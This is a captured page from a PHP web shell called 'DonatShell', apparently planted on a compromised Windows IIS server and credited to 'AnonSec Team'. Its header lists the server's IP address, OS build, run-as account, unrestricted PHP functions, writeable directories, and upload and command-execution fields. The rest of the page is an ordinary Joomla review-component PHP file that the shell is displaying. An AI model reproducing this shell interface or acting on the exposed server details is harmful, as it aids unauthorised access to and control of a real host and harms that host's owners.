DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/news/administrator/components/com_simple_review/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/news/administrator/components/com_simple_review/classes/SRBridgeJoomla15.php
<?php
/**
 *  $Id$
 *
 * 	Copyright (C) 2005-2011  Rowan Youngson
 * 
 *	This file is part of Simple Review.
 *
 *	Simple Review is free software: you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation, either version 3 of the License, or
 *  (at your option) any later version.

 *  Simple Review is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.

 *  You should have received a copy of the GNU General Public License
 *  along with Simple Review.  If not, see <http://www.gnu.org/licenses/>.
*/

/** ensure this file is being included by a parent file */
defined( '_JEXEC' ) or die('Direct Access to this location is not allowed.');
require_once("SRBridgeDatabaseJoomla15.php");
class SRBridgeJoomla15 extends SRBridgeCMS
{
	var $_document = null;
	var $_documentType = null;
   	function SRBridgeJoomla15()
   	{   	
   		global $option;	
   		$this->SystemToBridge = 'Joomla15';
		
   		$this->AdminPage = 'index2.php';
   		$this->AdminTemplate = 'khepri';
   		$this->Database =& JFactory::getDbo();
   		$this->Option = $option;
		$this->PathJoomla = JPATH_SITE;
		//TODO: is this needed/correct?
		$this->PathComponentFrontEnd = JPATH_COMPONENT_SITE;
		//$this->PathComponentAdministrator = JPATH_COMPONENT_ADMINISTRATOR;
		$this->PathComponentAdministrator = JPATH_ADMINISTRATOR.DS.'components'.DS.'com_simple_review';	
		$this->SiteUrl = JURI::root(false);
		$this->SiteDomain = JURI::base();//dirname(JURI::base());
		
		$config = new JConfig();

		$this->InDebugMode = $config->debug == '1';
		$this->UsingSeoLinks = $config->sef == '1';
		$this->Database =& JFactory::getDBO();	
		
		$this->CurrentUser = new SRBridgeUser();
    }
	
	function AddCustomTag($tag)
	{
		if ($this->GetDocumentType() === 'html')
		{
			$document = &$this->GetDocument();
			$document->addCustomTag($tag);
		}
	}
	function AddMetaDescription($description)
	{
		$document =& $this->GetDocument();
		$document->setMetadata('description', $description);
	}
	function AddMetaKeywords($keywords)
	{
		$document =& $this->GetDocument();
		$document->setMetadata('keywords', $keywords);		
	}	
	
	function GetParameter( &$array, $key, $default = null, $type = '')
	{
		return JArrayHelper::getValue( $array, $key, $default, $type);
	}
	
	//Does not include query string so will not work correctly if SEO is off
	function GetCurrentPath()
	{
		$link =& JURI::getInstance( JURI::current() );
		return $link->getPath();
	}
	function &GetDocument()
	{
		if($this->_document === null)
		{
			$this->_document = &JFactory::getDocument();
		}
		return $this->_document;
	}
	function GetDocumentType()
	{
		if($this->_documentType === null)
		{
			$document =& $this->GetDocument();
			$this->_documentType = $document->getType();
		}
		return $this->_documentType;
	}	
	function GetItemID()
	{
		$component =& JComponentHelper::getComponent('com_simple_review');
		$menus	= &JApplication::getMenu('site', array());
			
		$items = $menus->getItems('componentid', $component->id);
		$itemID = 0;
		if($items != null)
		{
			foreach($items as $item)
			{
				if((!isset($item->published) || $item->published) && $item->menutype != 'usermenu')
				{
					$itemID = $item->id;
					break;
				}
			}
		}
		return $itemID;
	}
	function GracefulExit($message)
	{ 
		$mainframe =& JFactory::getApplication();
		echo $message;
    	$mainframe->close();
	}	
	
	function Redirect($url, $text = '')
	{
		$mainframe =& JFactory::getApplication();
		$url = str_replace('&amp;', '&', $url);
		$mainframe->redirect( $url, $text );
	}	
	
	function RewriteUrl($url)
	{
		return JRoute::_($url);
	}	
	
	function MakeUrlSafe($string)
	{
		return JFilterOutput::stringURLSafe($string);
	}
	
	function SetPageTitle($title)
	{
		$document=& $this->GetDocument();
		$document->setTitle($title);
	}	
	
	function IncludeJQuery($provider = null)
	{
		if($this->GetDocumentType() !== 'html')
		{
			return;
		}
		if($provider == null)
		{
      		$addonManager =& Addon_Manager::Get();
      		$this->IncludeJQuery($addonManager->GetSetting('JQuery', _SR_ADDON_TYPE_MODULE, 'Configuration_Module'));
			return;			
		}
		if($provider == 'Exclude')
		{
			?>
			<script type="text/javascript">
				if(typeof(jQuery) == "undefined")
				{
					alert('You have chosen not to include the required jQuery library and it is not currently loaded by another component.');
				}
			</script>
			<?php
			return;
		}

		if($provider == 'Google')
		{
			$this->IncludeJSLink('http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js');
			$this->AddCustomTag( "<script type='text/javascript'>jQuery.noConflict();</script>" );
		}
		else
		{
			$this->IncludeJSLink($this->SiteUrl.'components/com_simple_review/javascript/jquery-1.6.1.min.js');
			$this->AddCustomTag( "<script type='text/javascript'>jQuery.noConflict();</script>" );			
		}
	}
	
	function IncludeJQueryUI($provider = null)
	{
		if($this->GetDocumentType() !== 'html')
		{
			return;
		}		
		if($provider == null)
		{
      		$addonManager =& Addon_Manager::Get();
      		$this->IncludeJQueryUI($addonManager->GetSetting('JQueryUI', _SR_ADDON_TYPE_MODULE, 'Configuration_Module'));
			return;		
		}		

		if($provider == 'Exclude')
		{
			$this->AddCustomTag(
			'<script type="text/javascript">'
				.'if(typeof(jQuery) == "undefined" || !jQuery.selectable)'
				.'{'
					.'alert("You have chosen not to include the required jQuery UI library and it is not currently loaded by another component.");'
				.'}'
			.'</script>'
			);
			return;
		}

		if($provider == 'Google')
		{		
			$this->IncludeJSLink( 'http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.13/jquery-ui.min.js');	
			$this->IncludeCssLink( 'http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/themes/smoothness/jquery-ui.css');
		}
		else
		{
			$this->IncludeJSLink($this->SiteUrl.'components/com_simple_review/javascript/jquery-ui-1.8.13.custom.min.js');	
			$this->IncludeCssLink( $this->SiteUrl.'components/com_simple_review/templates/default/css/jqueryui/jquery-ui-1.8.13.custom.css');			
		}
	}

	function IncludeCssLink($url)
	{
		if($this->GetDocumentType() !== 'html')
		{
			return;
		}			
		$this->AddCustomTag( '<link rel="stylesheet" href="'.$url.'" type="text/css" media="all" />');
	}
	function IncludeJSLink($url)
	{
		if($this->GetDocumentType() !== 'html')
		{
			return;
		}
		$this->AddCustomTag( "<script type='text/javascript' src='$url'></script>" );
	}	
	
}
?>

Anon7 - 2022
AnonSec Team